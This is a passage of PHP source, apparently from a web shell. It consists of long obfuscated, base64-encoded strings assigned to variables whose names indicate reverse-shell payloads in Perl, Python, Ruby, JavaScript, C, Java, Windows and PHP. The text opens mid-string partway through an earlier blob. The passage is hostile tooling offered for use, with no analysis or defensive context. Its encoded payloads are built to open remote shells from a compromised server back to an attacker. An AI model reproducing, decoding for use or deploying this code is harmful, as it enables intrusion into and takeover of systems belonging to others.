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";
$s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
$s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
$s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
$s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=";
$s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
$s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP";
$s_rs_win = "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";
$s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7